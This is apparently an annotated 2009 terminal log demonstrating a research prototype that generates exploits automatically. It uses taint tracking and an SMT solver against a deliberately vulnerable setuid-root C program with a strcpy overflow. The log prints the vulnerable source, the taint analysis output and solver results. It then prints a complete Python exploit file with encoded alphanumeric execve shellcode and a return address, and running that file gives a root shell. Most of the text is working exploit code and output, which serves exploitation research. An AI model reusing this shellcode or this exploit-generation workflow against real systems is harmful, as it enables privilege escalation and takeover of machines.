(First get the address of a register trampoline. For now we are assuming ASLR is enabled but not DEP and SSP)
nnp@ubuntudeux:~/msf3$ ./msfelfscan -j eax ~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen/test_programs/read_strcpy_big
[/home/nnp/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen/test_programs/read_strcpy_big]
0x0804846f call eax
0x08048653 call eax
(This is the program we will be exploiting. It contains a filter around most of user input. The first few bytes are unfiltered because I was too lazy to fix up the alphanumeric shellcode currently in my prototype)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ls -al test_programs/read_strcpy_big
-rwsr-sr-x 1 root nnp 8495 2009-06-17 20:45 test_programs/read_strcpy_big
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ cat test_programs/read_strcpy_big.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
void smashySmashy(char *userInput)
{
char shellcodeBuffer[900];
int i = 0;
// alphanumeric only
for (i = 7; i < 768; i++)
if (userInput[i] > 'z' || userInput[i] < '0')
exit(0);
// The shellcode buffer will be built from two disjoint parts of user input
printf("Shellcode buffer ranges from %p to %p\n", shellcodeBuffer, shellcodeBuffer+899);
strcpy(shellcodeBuffer, userInput);
}
int main(int argc, char *argv[])
{
int res, fd = -1;
char *heapArr = NULL;
fd = open(argv[1], O_RDONLY);
heapArr = malloc(1024*sizeof(char));
printf("Reading 1024 bytes into %p\n", heapArr);
res = read(fd, heapArr, 1024);
if (res != 1024) {
printf("Read %d bytes, wtf\n", res);
return -1;
} else {
printf("Read %d bytes\n", res);
}
smashySmashy(heapArr);
return 0;
}
(Now on to the main show. The vulnerable program is run with some fuzz input that causes it to crash. Just before the EIP is corrupted we detect the vulnerability and begin exploit generation)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ time ~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/ia32/bin/pinbin -t exploitgen.so -- ./test_programs/read_strcpy_big ./test_programs/1024.input
[+] Client initialising
[+] Starting program
Reading 1024 bytes into 0x804a008
[+] Hooked read
[+] Read 1024 bytes
Read 1024 bytes
Shellcode buffer ranges from 0xbf921e90 to 0xbf922213
[!] Byte 0 of stored EIP is tainted
[!] Byte 1 of stored EIP is tainted
[!] Byte 2 of stored EIP is tainted
[!] Byte 3 of stored EIP is tainted
[!] Crash reason: tainted return value (0x41414141)
[+] Hooked 1 reads, for a total of 1024 bytes read
[+] Getting taint propagation statistics...
[+] Number of tainted memory locations: 2048
[+] Number of taint buffers: 2
[+] Logging taint buffer into to ti.out
[+] Determining trampoline reachable taint buffers...
[+] 1 buffer(s) reachable via a register trampoline
[#] eax -> 0xbf921e90(size: 1024, cclVal: 1)
[+] Processing for 2 different shellcodes
[+] Shellcode 'execve'
[#] Building constraint formula...
[#] Adding EIP overwrite constraints...
[#] Adding shellcode constraints...
[#] Logging formula to resultsDir/execve.smt
[+] Shellcode 'alphanumeric_execve'
[#] Building constraint formula...
[#] Adding EIP overwrite constraints...
[#] Adding shellcode constraints...
[#] Logging formula to resultsDir/alphanumeric_execve.smt
[!] Calling exit() in the analysis client
real 0m5.009s
user 0m4.108s
sys 0m0.876s
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ls -al resultsDir/
total 172
drwxr-xr-x 2 nnp nnp 4096 2009-06-17 17:15 .
drwxr-xr-x 7 nnp nnp 4096 2009-06-17 20:41 ..
-rw-r--r-- 1 nnp nnp 89627 2009-06-17 20:41 alphanumeric_execve.smt
-rw-r--r-- 1 nnp nnp 68072 2009-06-17 20:41 execve.smt
(First attempt to solve the formula using the regular shellcode. It is unsatisfiable due to the filter)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ~/Desktop/yices-1.0.21/bin/yices -smt -e < resultsDir/execve.smt
unsat
(The formula using the alphanumeric shellcode passes)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ~/Desktop/yices-1.0.21/bin/yices -smt -e < resultsDir/alphanumeric_execve.smt | grep sat
sat
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ~/Desktop/yices-1.0.21/bin/yices -smt -e < resultsDir/alphanumeric_execve.smt > bitvecf
(Here is a sample of what the solver produces. Each input variable is assigned a bitvector value that we can parse to whatever input format we want)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ tail bitvecf
(= i1015 0b01000001)
(= i1016 0b01000001)
(= i1017 0b01000001)
(= i1018 0b01000001)
(= i1019 0b01000001)
(= i1020 0b01000001)
(= i1021 0b01000001)
(= i1022 0b01000001)
(= i1023 0b01000001)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ./bitVecToHex bitvecf
import sys
exploit = '\xdd\xc7\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x46\x51\x49\x4b\x42\x4a\x45\x47\x51\x48\x48\x4d\x4b\x30\x42\x4a\x44\x4b\x50\x58\x4c\x59\x51\x42\x42\x46\x42\x48\x46\x4d\x42\x43\x4d\x59\x4b\x57\x43\x58\x46\x4f\x44\x33\x43\x58\x43\x30\x45\x38\x46\x4f\x42\x42\x43\x59\x42\x4e\x4b\x39\x4b\x53\x50\x52\x4a\x48\x45\x5a\x45\x50\x43\x30\x45\x50\x46\x4f\x42\x42\x42\x49\x42\x4e\x46\x4f\x45\x32\x43\x51\x44\x33\x43\x58\x45\x50\x51\x47\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x45\x5a\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x6f\x84\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
ex = open(sys.argv[1], 'w')
ex.write(exploit)
ex.close()
(The above code is what is currently produced by my prototype. Basically a simple Python exploit that we can write to a file and use to create our new input)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ ./bitVecToHex bitvecf > pysploit.py
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ python pysploit.py exploit.in
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen$ cd test_programs/
(At this point we have gone from an input consisting of 1024 A characters, to a SMT formula, to a satisfying assignment and back to an input that should be a functional exploit. It's a small program with a silly vulnerability and some protections disabled, but I think it demonstrates the potential. The current goal is to move from this toy environment to a modern Linux configuration and see what we can do. Should be fun!)
nnp@ubuntudeux:~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen/test_programs$ ./read_strcpy_big ../exploit.in
Reading 1024 bytes into 0x804a008
Read 1024 bytes
Shellcode buffer ranges from 0xbff1a070 to 0xbff1a3f3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
<-gcc.4.0.0-ia32_intel64-linux/source/tools/xgen/test_programs# whoami
root